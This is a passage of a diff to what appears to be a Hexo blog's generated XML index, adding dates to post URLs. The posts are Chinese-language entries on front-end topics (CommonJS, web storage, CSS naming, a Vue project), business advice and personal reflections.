到页面显示完成，中间发生了什么？</h4><ul><li>查找浏览器缓存</li><li>DNS 解析，查找该域名对应的IP，重定向（301），发出第二个 get 请求</li><li>进行HTTP 协议对话</li><li>客户端发送报头</li><li>文档开始下载</li><li>文档树建立，根据标记请求所需指定mime类型的文件</li><li>文件显示</li><li>浏览器这边做的工作大致分为以下几步：<blockquote><p>加载：根据请求的url进行域名解析，向服务器发起请求，接受文件（html，js，css，图像等）<br>解析：对加载到的资源（html，js，css）进行语法解析，建议相应的内部数据结构（比如html的dom树，js的属性表，css的样式表规则等等）</p></blockquote></li></ul><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><ul><li>怀着一颗空杯心态去看待事物，这样才会有进步，学无止境，我要走的路还很长</li></ul>]]></content>
       
       <categories>
@@ -697,8 +697,8 @@
     
     <entry>
       <title>commonJS和AMD/CMD</title>
-      <link href="/commonJS%E5%92%8CAMD-CMD.html"/>
-      <url>/commonJS%E5%92%8CAMD-CMD.html</url>
+      <link href="/2017/08/23/commonJS%E5%92%8CAMD-CMD.html"/>
+      <url>/2017/08/23/commonJS%E5%92%8CAMD-CMD.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="一-CommonJS"><a href="#一-CommonJS" class="headerlink" title="一. CommonJS"></a>一. CommonJS</h2><p> node.js的模块系统，就是参照CommonJS规范实现的。在CommonJS中，有一个全局性方法require()，用于加载模块。假定有一个数学模块math.js，就可以像下面这样加载。NodeJS是CommonJS规范的实现，webpack 也是以CommonJS的形式来书写。</p><blockquote><p>var math = require(‘math’)</p></blockquote><h4 id="1-原理"><a href="#1-原理" class="headerlink" title="1. 原理"></a>1. 原理</h4><p>浏览器兼不兼容commonJS，在于是否缺少这几个环境变量</p><ul><li>module</li><li>export</li><li>require</li><li>global</li></ul><h4 id="2-browsertify"><a href="#2-browsertify" class="headerlink" title="2. browsertify"></a>2. browsertify</h4><p>将 npm包 编译成可以被 html 页面引入的 js模块</p><blockquote><p>一个类似的库：browser-unpack</p></blockquote>]]></content>
       
       <categories>
@@ -718,8 +718,8 @@
     
     <entry>
       <title>七种公司永远做不大, 十种老板永远不成功!</title>
-      <link href="/%E4%B8%83%E7%A7%8D%E5%85%AC%E5%8F%B8%E6%B0%B8%E8%BF%9C%E5%81%9A%E4%B8%8D%E5%A4%A7-%E5%8D%81%E7%A7%8D%E8%80%81%E6%9D%BF%E6%B0%B8%E8%BF%9C%E4%B8%8D%E6%88%90%E5%8A%9F.html"/>
-      <url>/%E4%B8%83%E7%A7%8D%E5%85%AC%E5%8F%B8%E6%B0%B8%E8%BF%9C%E5%81%9A%E4%B8%8D%E5%A4%A7-%E5%8D%81%E7%A7%8D%E8%80%81%E6%9D%BF%E6%B0%B8%E8%BF%9C%E4%B8%8D%E6%88%90%E5%8A%9F.html</url>
+      <link href="/2017/08/22/%E4%B8%83%E7%A7%8D%E5%85%AC%E5%8F%B8%E6%B0%B8%E8%BF%9C%E5%81%9A%E4%B8%8D%E5%A4%A7-%E5%8D%81%E7%A7%8D%E8%80%81%E6%9D%BF%E6%B0%B8%E8%BF%9C%E4%B8%8D%E6%88%90%E5%8A%9F.html"/>
+      <url>/2017/08/22/%E4%B8%83%E7%A7%8D%E5%85%AC%E5%8F%B8%E6%B0%B8%E8%BF%9C%E5%81%9A%E4%B8%8D%E5%A4%A7-%E5%8D%81%E7%A7%8D%E8%80%81%E6%9D%BF%E6%B0%B8%E8%BF%9C%E4%B8%8D%E6%88%90%E5%8A%9F.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="这七种公司永远做不大"><a href="#这七种公司永远做不大" class="headerlink" title="这七种公司永远做不大"></a>这七种公司永远做不大</h3><h4 id="1-格局小的企业"><a href="#1-格局小的企业" class="headerlink" title="1. 格局小的企业"></a>1. 格局小的企业</h4><ul><li>1999年2月，牛根生对孙先红说：我给你100万的宣传费，对谁也不要说。先红问：为什么不能说？牛说：现在总共筹到300万，拿出100万做广告，我怕大家知道后接受不了。我就要一个效果：一夜之间，让呼市人都知道。于是1999年4月1日早上，一觉醒来，人们突然发现道路两旁冒出了一溜溜的红色路牌广告，上面高书金色大字：蒙牛乳业，创内蒙古乳业第二品牌！</li><li>但在现实中，许多老板肩上扛着品牌大旗心里打着小算盘，乐于小打小闹，希望以小的投入来获得大的回报，从没想过以大的投入来换取更大的回报。这实际上就是一种格局。格局小的老板，想的永远是自己，希望从一颗鸡蛋中吃出黄金；而格局大的老板，则能着眼于未来，在大环境中定义自己的事业。</li></ul><h4 id="2-心态小的企业"><a href="#2-心态小的企业" class="headerlink" title="2. 心态小的企业"></a>2. 心态小的企业</h4><blockquote><p>俗话说：善奕者谋势，不善奕者谋子</p><ul><li>许多企业之所以做不大，就在于只谋子不谋势。谋势就是定战略，有了战略，路再长，总有一天会走到；没有战略，走得越猛，死得越早。置战略需求于不顾，希望用1分钱换来100元的效果的主，很难走出穷的境界，因为占便宜本身就代表没有境界。死抠一城一池，是活三年的企业，因为它不抬头看天。东一榔头西一棒子的，是活三月的企业，因为它不低头看地。不看天，山雨欲来浑然不觉，要被洪水淹死；不看地，夜半悬崖大步流星，要被群山淹没。</li></ul></blockquote><h4 id="3-短视的企业"><a href="#3-短视的企业" class="headerlink" title="3. 短视的企业"></a>3. 短视的企业</h4><ul><li>立竿见影、刀下见菜，是大多数老板的想法，当然这也没有错，因为解决目前的生存问题是第一位的。但是，生存问题属于战术问题，而发展问题属于战略问题，解决生存问题必须刀下见菜，但要搞定发展问题则需要细水长流最后水到渠成。现实中，很多老板都有短视心态，以为整一个亮点马上就能换回巨大的效益，于是一个活动搞下去或一期广告投下去看到没什么效果就马上停止。</li><li>其实这种想法并不正确，因为品牌对于企业而言是一个长期工程和系统工程，既要有独特的个性，又需要系统的提炼及提升；对于客户而言，品牌又是一种认知识别和体验识别，他们需要你能记住你的特别理由，因此也就需要你在诉求点上要坚持深入。</li></ul><h4 id="4-缺外脑的企业"><a href="#4-缺外脑的企业" class="headerlink" title="4. 缺外脑的企业"></a>4. 缺外脑的企业</h4><ul><li>曾有人说过这样一句话：在中国，资源第一位，机遇第二位，能力第三位，学历第四位，不少老板比别人做得成功，就在于他所拥有的社会资源为他创造了部分条件。而很多老板之所以做不大，原因就在于他缺少足够的社会资源，单打独斗当然也就孤掌难鸣。</li><li>说到社会资源，很多人都会想到领导支持这个词语，其实这并不全面，向领导、职能部门传递企业的正面信息，获得政策范围内的支持，这只属于整合营销传播的一个方面。除了官方资源以外，能帮你快速解决一定融资困难的亲友资源，能为你迅速带来人才的人力推介资源，能为你出谋划策充当参谋的智力资源、信息资源等等，这些资源都会对你的发展壮大起着重要的作用。这些都是企业的外脑。想想看，那些做得成功的大企业，又有多少企业没有外脑、没有顾问呢？</li></ul><h4 id="5-缺内脑的企业"><a href="#5-缺内脑的企业" class="headerlink" title="5. 缺内脑的企业"></a>5. 缺内脑的企业</h4><ul><li>一个好汉三个帮，如果没有一批能征善战的下属为你冲锋陷阵，老板再厉害，也难以成事。许多企业就面临这样的问题：优秀的人招不来，有出息的人留不住，剩下的看谁谁不顺眼，为什么会这样呢？员工愿不愿加盟公司、能加盟多久，与薪酬福利、团队氛围、学习提升、办事机制，成就感，归属感、生活现状等各种因素紧密相连。目前，大多数的企业，薪酬福利都差不多，关键问题是：老板只看重行政管理与业绩，只关注你今天卖了多少、有没有迟到早退，至于思想管理、技能管理、状态管理与团队氛围管理，老板根本就没有这个意识，最后员工技能得不到提升，思想得不到引导，越干越没劲，只好走人了事。管理的表面化，最终导致员工素质同质化，做不大也就在情理之中了。</li></ul><h4 id="6-用金扁担挑粪的企业"><a href="#6-用金扁担挑粪的企业" class="headerlink" title="6. 用金扁担挑粪的企业"></a>6. 用金扁担挑粪的企业</h4><ul><li>从前有个小伙子，祖辈都是菜农。小伙子每天挑粪去菜地浇菜，从小习惯了这年复一年的活。一天，他去菜地的路上在一棵大树下歇脚，坐在挑粪扁担上，远眺村里大财主的那幢豪华楼房，心里突然有个梦想﹕有一天我要是像他那么有钱，我一定要打一副用金子做成的扁担挑粪。用金扁担挑粪虽然有了财富有了金子，但是挑粪的思维还是没有改变，因为他已经习惯了那种操作手法。所以，很多企业看到别人有了驰名商标就马上去申请一个驰名商标，看到别人开了一个自助火锅生意不错，于是就立马也开一个。有了这些金蛋蛋以后，马上把它做成一根金扁担挑着以前的大便继续前进。</li></ul><h4 id="7-需要预约的企业"><a href="#7-需要预约的企业" class="headerlink" title="7. 需要预约的企业"></a>7. 需要预约的企业</h4><ul><li>中国的小老板令人感动和尊敬，在我看来，哪怕是开小饭馆的小老板，也功德无量，令人尊敬，因为他们为社会提供了更多的就业岗位，贡献了更多的税收，开发了更多的技术。他们多数才华横溢、精明能干、出身草根、白手起家，其赤手空拳打天下的勇气让人佩服。</li><li>他们在资金与技术贫瘠的土壤中扎根，在不利政策环境中破土，在外资、合资品牌丛林中成长，生命的顽强与坚韧让人感慨与惊叹。他们热情而富有理想，为了实现百年老店的梦想，很多人起得比鸡还要早，睡得比狗还要晚。企业最大的瓶颈是资金！然而，在你没有实力之前要想获得金融支持，干过企业的人都深有体会，最缺德的机构莫过于银行，他们向来都是雨天收伞！在尊敬与感动之余，又难免有点儿心酸与不安。因为很多小老板都患上了这样的毛病：事业不大架子大、老板不大脾气大，自以为是，傲气十足，结果很多的机会就在这种需要预约的情况下丧失了。</li></ul><h3 id="十种做不大的老板"><a href="#十种做不大的老板" class="headerlink" title="十种做不大的老板"></a>十种做不大的老板</h3><blockquote><p>据一些管理学家的最新研究，发现有十种老板，由于各方面的制约，是很难将生意做大的。</p></blockquote><h4 id="没有大梦想的老板"><a href="#没有大梦想的老板" class="headerlink" title="没有大梦想的老板"></a>没有大梦想的老板</h4><ul><li>不想做出大成就的老板，安于现状，对竞争没有充分的认识，对机会不敏感。商界往往是大野心的老板做成了大公司，安于现状的老板最后不得不因业绩不良而关门或换行。</li></ul><h4 id="没有创业规划的老板"><a href="#没有创业规划的老板" class="headerlink" title="没有创业规划的老板"></a>没有创业规划的老板</h4><ul><li>这种老板不善于对自己的事业做中长期规划，往往在经营中浪费很多的资源，或者让人才流失，或者让资源闲置，所以他们的经营成本很高。</li></ul><h4 id="不重视人才的老板"><a href="#不重视人才的老板" class="headerlink" title="不重视人才的老板"></a>不重视人才的老板</h4><ul><li>对任何公司而言，人才比资金比资产都重要，有了人才才可以做想做的事，没有人才一切免谈。老板最能干的公司往往都做不大，老板不太能干的公司，往往能做得很大。刘邦和项羽就是最好的例子，刘邦不能干，所以他重用萧、韩、张三杰，项羽很能干，所以手下能人都留不住，都跑到刘邦那去了。</li></ul><h4 id="完全自己摸索，从不向明师请教的老板"><a href="#完全自己摸索，从不向明师请教的老板" class="headerlink" title="完全自己摸索，从不向明师请教的老板"></a>完全自己摸索，从不向明师请教的老板</h4><ul><li>完全自己摸索的老板，在经营中就会要用很多的失败做代价，走了很多的弯路。从而造成要么信心不足，要么资源被浪费后没有创业资金，要么就是视野很小，看不到机会和危机。善于向明师请教的人，总可以少走一些弯路。因为他站在别人的肩膀上，所以能看得更远！</li></ul><h4 id="观念保守思维不开放的老板"><a href="#观念保守思维不开放的老板" class="headerlink" title="观念保守思维不开放的老板"></a>观念保守思维不开放的老板</h4><ul><li>看看中国发展的轨迹，越是开放的地方，越是发展得快，越是观念落后的地方，越是贫穷。思维不开放的老板，总是自己拒绝了很多的发展机会！</li></ul><h4 id="恃己之能从不学习的老板"><a href="#恃己之能从不学习的老板" class="headerlink" title="恃己之能从不学习的老板"></a>恃己之能从不学习的老板</h4><ul><li>经常参加各种培训的老板，都是一些取得成就的老板；从不参加培训的老板，肯定公司业绩不良。为什么？不学习观念就要落后，思维就要保守。</li></ul><h4 id="畏首畏尾顾虑太多的老板"><a href="#畏首畏尾顾虑太多的老板" class="headerlink" title="畏首畏尾顾虑太多的老板"></a>畏首畏尾顾虑太多的老板</h4><ul><li>风险与机会是均等的，从不敢冒险的老板，肯定是要失去很多机会的。世界上的两大公司，都是在风险的浪尖上走过来的。果敢的企业家总是这样想“万一我不做万一我不投资丧失了机会怎么办”，他们想的是“万一成功了”；有些老板总是这样想“万一我做了万一我投资了失败了怎么办”，他们想的是“万一失败了”，所以不做就没有失败，但更没有机会成功！</li></ul><h4 id="心思太细专做小事的老板"><a href="#心思太细专做小事的老板" class="headerlink" title="心思太细专做小事的老板"></a>心思太细专做小事的老板</h4><ul><li>把时间都花在小事上的老板，根本就没有时间来考虑公司发展的大事。有些老板，充其量只是自己的业务员，因为他的主要精力都用在跑业务上；有些老板是救火队员，哪里有问题就上哪里，却从不考虑如何才能不出问题。这些老板都很累，业绩却不良；反过来看，那些只专注于公司发展大事的老板，把小事放心地交给员工做，员工既有了用武之地，就会长期留下来，老板自己反而很轻松。</li></ul><h4 id="埋头经营从不做宣传的老板"><a href="#埋头经营从不做宣传的老板" class="headerlink" title="埋头经营从不做宣传的老板"></a>埋头经营从不做宣传的老板</h4><ul><li>营销就是做广告，越是多做广告越是会做宣传的老板，公司就会发展得快，业务就会做得多，连少林寺都要用宣传来推广自己，否则它哪有那么多的香客和门徒？埋头经营的老板还在满足自己的客户量还可以的时候，却不知已经有人做宣传占领了更大的市场份额！</li></ul><h4 id="贪图小利不讲诚信的老板"><a href="#贪图小利不讲诚信的老板" class="headerlink" title="贪图小利不讲诚信的老板"></a>贪图小利不讲诚信的老板</h4><ul><li>讲诚信是需要付出代价的，往往代价很高；但往往也因此带来了自己长期发展的各种机会；不讲诚信，看似代价很低，暂时占了很多便宜，却不知付出的代价更高，丧失了更多的发展机会。做了很多年还没有发展起来的老板，肯定遵守诚信不够！</li></ul><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><ul><li><p>从上来看，我需要提升的地方还有很多很多，从心态到气场，从执行的态度，到为人处世的方法，学无止境，提高自己的格局，改变自己的视野，不要被眼前的枷锁所束缚，世界很大，我还有很多地方没有去走，牛人很多，我还有很多品质需要研究</p></li><li><p>改变自己，不甘平庸，相信明天！！！</p></li></ul>]]></content>
       
       <categories>
@@ -739,8 +739,8 @@
     
     <entry>
       <title>sessionStorage localStotage AND cookies</title>
-      <link href="/sessionStorage-localStotage-AND-cookies.html"/>
-      <url>/sessionStorage-localStotage-AND-cookies.html</url>
+      <link href="/2017/08/16/sessionStorage-localStotage-AND-cookies.html"/>
+      <url>/2017/08/16/sessionStorage-localStotage-AND-cookies.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="sessionStorage"><a href="#sessionStorage" class="headerlink" title="sessionStorage"></a>sessionStorage</h3><blockquote><p>引入一个浏览器窗口的概念，开启在同源的同窗口，即使跳到其他页面，数据仍然存在，页面刷新也不会消除数据，</p></blockquote><h4 id="特点"><a href="#特点" class="headerlink" title="特点"></a>特点</h4><ul><li>减少网络流量：一旦数据保存在本地后，就可以避免再向服务器请求数据，因此减少不必要的数据请求，减少数据在浏览器和服务器间不必要地来回传递</li><li>快速显示数据：性能好，从本地读数据比通过网络从服务器获得数据快得多，本地数据可以即时获得。再加上网页本身也可以有缓存，因此整个页面和数据都在本地的话，可以立即显示</li><li>临时储存：很多时候数据只需要在用户浏览一组页面期间使用，关闭窗口后数据就可以丢弃了，这种情况使用sessionStorage非常方便</li></ul><h3 id="cookie"><a href="#cookie" class="headerlink" title="cookie"></a>cookie</h3><blockquote><p>数据始终在同源的http请求中携带（即使不需要），即cookie在浏览器和服务器间来回传递，数据还有路径（path）的概念，可以限制cookie只属于某个路径下。</p></blockquote><h4 id="特点-1"><a href="#特点-1" class="headerlink" title="特点"></a>特点</h4><ul><li>cookie数据不能超过4k，同时因为每次http请求都会携带cookie，所以cookie只适合保存很小的数据，如会话标识</li><li>只在设置的cookie过期时间之前一直有效，即使窗口或浏览器关闭,即有一个过期值</li><li>cookie也是在所有同源窗口中都是共享的。</li></ul><h3 id="localStorage"><a href="#localStorage" class="headerlink" title="localStorage"></a>localStorage</h3><h4 id="特点-2"><a href="#特点-2" class="headerlink" title="特点"></a>特点</h4><ul><li>生命周期是永久性的。假若使用localStorage存储数据，即使关闭浏览器，也不会让数据消失，除非主动的去删除数据，使用的方法如上所示。localStorage有length属性，可以查看其有多少条记录的数据。</li></ul><p>使用方法:</p><pre><code>var storage = null;      if(window.localStorage){              //判断浏览器是否支持localStorage         storage = window.localStorage;              storage.setItem(&quot;name&quot;, &quot;Rick&quot;);    //调用setItem方法，存储数据         alert(storage.getItem(&quot;name&quot;));     //调用getItem方法，弹框显示 name 为 Rick         storage.removeItem(&quot;name&quot;);     //调用removeItem方法，移除数据         alert(storage.getItem(&quot;name&quot;));   //调用getItem方法，弹框显示 name 为 null      }  </code></pre>]]></content>
       
       <categories>
@@ -764,8 +764,8 @@
     
     <entry>
       <title>wuti</title>
-      <link href="/wuti.html"/>
-      <url>/wuti.html</url>
+      <link href="/2017/07/31/wuti.html"/>
+      <url>/2017/07/31/wuti.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="无题"><a href="#无题" class="headerlink" title="无题"></a>无题</h3><div id="dplayer1" class="dplayer hexo-tag-dplayer-mark" style="margin-bottom: 20px;"></div><script>(function(){var player = new DPlayer({"container":document.getElementById("dplayer1"),"autoplay":true,"theme":"#fff","loop":true,"video":{"url":"http://orjedzer5.bkt.clouddn.com//video/mp4/wuti.mp4"},"danmaku":{"id":"4","api":"http://dplayer.daoapp.io","token":"tokendemo"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script>]]></content>
       
       <categories>
@@ -785,8 +785,8 @@
     
     <entry>
       <title>badboy</title>
-      <link href="/badboy.html"/>
-      <url>/badboy.html</url>
+      <link href="/2017/07/30/badboy.html"/>
+      <url>/2017/07/30/badboy.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="关于坏男人的定义"><a href="#关于坏男人的定义" class="headerlink" title="关于坏男人的定义"></a>关于坏男人的定义</h2><p>很多人容易把坏男人很狼联系起来，事实上确实很有道理。健康的狼与健康的人有着许多共同点。比如敏锐的直觉，好玩的天性，都充满好奇心，并且坚韧，善于适应不断变化的环境，一样的勇敢。以及根植在骨子里的忠诚</p><blockquote><p>但是往往会被冠以“狡猾” 和“危险”的名号</p></blockquote><p>是抽烟，逃课，打架，玩世不恭，对感情暧昧，吊儿郎当的度日子，看上去没有丝毫的进取心</p><h2 id="坏，是一种生命力的体现"><a href="#坏，是一种生命力的体现" class="headerlink" title="坏，是一种生命力的体现"></a>坏，是一种生命力的体现</h2><p>他可能带着你逃单，然后给气喘吁吁的你递上一瓶水，也可能在你蹦极吓得流泪的时候一脚把你踹下去，他可能为你和别人打架被打成狗，他有着高度的想象力和执行力</p><p>大部分人庸庸碌碌的过着日子，只有少部分人愿意打破自己的舒适区，去尝试一些未知的甚至是危险的事物。</p><p>坏，他不意味着疯狂或是失控，更不意味着矫正，放弃原本的社会规则，或者是背离人性。刚好相反，它非常的宽容，对过往的一切能够兼容并蓄。它非常的积极，对未知的一切都能够无所畏惧</p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>吹嘘了这么久的自己，有些东西确实很有代表性。有很多人说我有一种骨子里坏坏的感觉，但我只想说，那是我脑海里追求的生活方式，从表面上体现了出来。但是坏的是表现，不是本质 </p><p>我不喜欢平凡，喜欢追求自己想要的生活，即使三十年，四十年后，我也不会停下追寻的脚步，因为我知道，人的一生很短暂，你怎么样为自己的一生保留一些永恒的东西？现在的我没有背景，所以一切只能靠自己的双手去创造。</p><blockquote><p>平凡的人因为有了自己的思想而伟大。不随波逐流将会是我一生的追求</p></blockquote>]]></content>
       
       
@@ -800,8 +800,8 @@
     
     <entry>
       <title>关于罗永浩</title>
-      <link href="/%E5%85%B3%E4%BA%8E%E7%BD%97%E6%B0%B8%E6%B5%A9.html"/>
-      <url>/%E5%85%B3%E4%BA%8E%E7%BD%97%E6%B0%B8%E6%B5%A9.html</url>
+      <link href="/2017/07/23/%E5%85%B3%E4%BA%8E%E7%BD%97%E6%B0%B8%E6%B5%A9.html"/>
+      <url>/2017/07/23/%E5%85%B3%E4%BA%8E%E7%BD%97%E6%B0%B8%E6%B5%A9.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="理念"><a href="#理念" class="headerlink" title="理念"></a>理念</h3><ul><li>当一个可以改变时代的人出现，他阐述出了他的观点，很多人都会觉得他是神经病，这个时候就需要坚持自己的想法，能够影响别人，乃至影响世界，给自己一个充实幸福感</li></ul><h3 id="理财"><a href="#理财" class="headerlink" title="理财"></a>理财</h3><ul><li>罗永浩曾经不会理财，月光族，公司有一个设计师和他一样。我也一样。这样的人都有一个共同点，就是觉得自己以后能赚大钱。</li></ul><h3 id="社交"><a href="#社交" class="headerlink" title="社交"></a>社交</h3><ul><li>罗有轻微的社交恐惧症，有一部分是内向，当在场的人超过一半会比较外向，现在的时代，是外向的人占便宜，当时因为罗不喜欢社交，没有去维持商业圈，导致能解决的问题停滞了一年吧半。</li><li>所以不要内向，改变自己，当你在一个场合出入次数多了，性格开朗了，你就会改变</li></ul><h3 id="追求完美"><a href="#追求完美" class="headerlink" title="追求完美"></a>追求完美</h3><ul><li>罗非常追求完美和细节，这点和他崇拜乔布斯有关，我是个极简主义者，</li></ul><h3 id="性格"><a href="#性格" class="headerlink" title="性格"></a>性格</h3><ul><li>老罗脾气不好，但是直爽，有很强的执行力，想做即做，在他看来，如果一个事前不是需要先天的能力作为基石，那这件事我们如果有信心去做，就一定能够成功</li></ul><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><ul><li>我和老罗差在，有很多事前畏手畏脚，不敢去做，就和他曾经的从商恐惧感一样，其实真正去做了，很多问题也会在实践中得到解决。</li><li>极端的讲，如果你提出一个跨时代的想法，而你身边的人说你疯了，那可能我们其中有一个就是笨蛋</li></ul>]]></content>
       
       <categories>
@@ -821,8 +821,8 @@
     
     <entry>
       <title>sync 和async</title>
-      <link href="/sync-%E5%92%8Casync.html"/>
-      <url>/sync-%E5%92%8Casync.html</url>
+      <link href="/2017/07/21/sync-%E5%92%8Casync.html"/>
+      <url>/2017/07/21/sync-%E5%92%8Casync.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="async-和-sync"><a href="#async-和-sync" class="headerlink" title="async 和 sync"></a>async 和 sync</h3><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><ul><li>一句话：可以改变程序正常执行顺序的就称为异步</li></ul>]]></content>
       
       <categories>
@@ -846,8 +846,8 @@
     
     <entry>
       <title>css的命名规范</title>
-      <link href="/css%E7%9A%84%E5%91%BD%E5%90%8D%E8%A7%84%E8%8C%83.html"/>
-      <url>/css%E7%9A%84%E5%91%BD%E5%90%8D%E8%A7%84%E8%8C%83.html</url>
+      <link href="/2017/07/17/css%E7%9A%84%E5%91%BD%E5%90%8D%E8%A7%84%E8%8C%83.html"/>
+      <url>/2017/07/17/css%E7%9A%84%E5%91%BD%E5%90%8D%E8%A7%84%E8%8C%83.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="关于-css-的一些命名规范"><a href="#关于-css-的一些命名规范" class="headerlink" title="关于 css 的一些命名规范"></a>关于 css 的一些命名规范</h2><ul><li>css设计模式：SMACSS</li><li>BEM 命名规范</li><li>javascript Hook</li></ul><h3 id="SMACSS"><a href="#SMACSS" class="headerlink" title="SMACSS"></a>SMACSS</h3><p>首先，它定义了五种样式：</p><ul><li>base（基本）</li><li>layout（布局）</li><li>module（模块）</li><li>state（状态）</li><li>theme（皮肤）</li></ul><h4 id="base（基本）"><a href="#base（基本）" class="headerlink" title="base（基本）"></a>base（基本）</h4><ul><li>在该样式中不适用class，id等选择，只对标签元素本身做设定，可以有属性选择器和伪类：<pre><code>html{}input[type=text] {}a:hover {}</code></pre></li></ul><h4 id="layout-布局"><a href="#layout-布局" class="headerlink" title="layout(布局)"></a>layout(布局)</h4><ul><li>整个网站的【大架构】的外观，类似header，footer<pre><code>#header {}.sidebar {}</code></pre><blockquote><p>通常只有一个选择器，一个id，或一个class</p></blockquote></li></ul><h4 id="module（组件）"><a href="#module（组件）" class="headerlink" title="module（组件）"></a>module（组件）</h4><ul><li>可复用组件，不需要任何prefix，</li></ul><h4 id="partial"><a href="#partial" class="headerlink" title="partial"></a>partial</h4><p>比 layout 范围小，可以是特定单一领域下特别的设定，通常会将名称加在子 class 作为 prefix </p><pre><code>.nav--main_item {}</code></pre><h4 id="state"><a href="#state" class="headerlink" title="state"></a>state</h4><ul><li>定义状态，例如：.active, .on <pre><code>&lt;ul&gt;  &lt;li&gt; &lt;/li&gt;  &lt;li class=&quot;active&quot;&gt; &lt;/li&gt;&lt;ul&gt;</code></pre><blockquote><p>.is-active 比.active 来的好读</p></blockquote></li></ul><h4 id="skin（皮肤）"><a href="#skin（皮肤）" class="headerlink" title="skin（皮肤）"></a>skin（皮肤）</h4><ul><li>画面上所有主视觉的定义，例如：border-color，background-image，font-family等，负责大架构上的视觉样式。</li></ul><h3 id="BEM-命名规范"><a href="#BEM-命名规范" class="headerlink" title="BEM 命名规范"></a>BEM 命名规范</h3><ul><li>BEM 即 block，element，modifier 缩写</li><li>将 block 区块作为起始开头，element为 block下的元素，modifier为该元素的属性。</li><li>block 和 element 用 __ 双下划线区分， 不同的modifier 则用 两个–区分，一个-表示这个 class 不依赖任何 block 或者 element ，是个独立的存在：.page-container<br>示范：<pre><code>.sidebar {  .sidebar--left__section {      .sidebar--left__section--header {}  }}</code></pre></li></ul><h3 id="javascript-hook"><a href="#javascript-hook" class="headerlink" title="javascript hook"></a>javascript hook</h3><ul><li>我理解的是，在 css 选择器的前缀加个动作或者 “js”，来表示该标签被 js 调用过<blockquote><p>html 里 class 之间用两个空格比一个空格好阅读</p></blockquote></li></ul>]]></content>
       
       <categories>
@@ -867,8 +867,8 @@
     
     <entry>
       <title>vue-eleme</title>
-      <link href="/vue-eleme.html"/>
-      <url>/vue-eleme.html</url>
+      <link href="/2017/07/05/vue-eleme.html"/>
+      <url>/2017/07/05/vue-eleme.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h3><ul><li>vue-cli</li><li>better-scroll</li><li>node.js</li><li>电脑（废话）</li><li>在dev-server中配置本地 data.json API接口</li></ul><h3 id="header组件"><a href="#header组件" class="headerlink" title="header组件"></a>header组件</h3><h4 id="star组件"><a href="#star组件" class="headerlink" title="star组件"></a>star组件</h4><ul><li>该项目中多处用到 星星 ，所以可以将它整合成一个组件，以复用</li><li>用 import 引入到父组件，给该组件传入 seller.score 评分数据<pre><code>itemClasses () {    let result = []    let score = Math.floor(this.score * 2) / 2    let hasDecimal = score % 1 !== 0    let integer = Math.floor(score)    for (let i = 0; i &lt; integer; i++) {      result.push(CLS_ON)    }    if (hasDecimal) {      result.push(CLS_HELF)    }    while (result.length &lt; STARLENG) {      result.push(CLS_OFF)    }    return result  }</code></pre><blockquote><p>分别获取它们的整数，小数，和无</p></blockquote></li></ul><h4 id="sticky-footer-布局"><a href="#sticky-footer-布局" class="headerlink" title="sticky footer 布局"></a>sticky footer 布局</h4><ul><li><p>为了防止内容超过容器，图标遮挡内容的现象</p></li><li><p>实现原理就是设置一个容器，将该容器的最小大小设置为100%，容器外面再设一个容器，给他一个负的 margin 或者是 padding，将它固定在容器的最下方</p></li></ul><blockquote><p>可以参考我这篇(文章)[<a href="http://jzxer.cn/sticky-footer.html]" target="_blank" rel="noopener">http://jzxer.cn/sticky-footer.html]</a></p></blockquote><h3 id="goods-组件"><a href="#goods-组件" class="headerlink" title="goods 组件"></a>goods 组件</h3><h4 id="nextTrick-方法"><a href="#nextTrick-方法" class="headerlink" title="nextTrick () 方法"></a>nextTrick () 方法</h4><ul><li>该函数的意思是，当一个 DOM 刚刚 create 的时候，因为 DOM 会在当前 tick里面的代码全部执行完再更新，所以不能做到在修改数据之后 DOM 更新之后再执行，要保证 DOM 更新之后再执行某一块代码，就必须放在下一次循环更新里面，，这样 DOM 更新后， 就会立即执行这块的代码<br>！()[<a href="https://pic4.zhimg.com/47b878cfdac72ea510733667f39f2f6f_b.png]" target="_blank" rel="noopener">https://pic4.zhimg.com/47b878cfdac72ea510733667f39f2f6f_b.png]</a></li></ul><h4 id="better-scroll-插件"><a href="#better-scroll-插件" class="headerlink" title="better-scroll 插件"></a>better-scroll 插件</h4><blockquote><p>可以在 npm 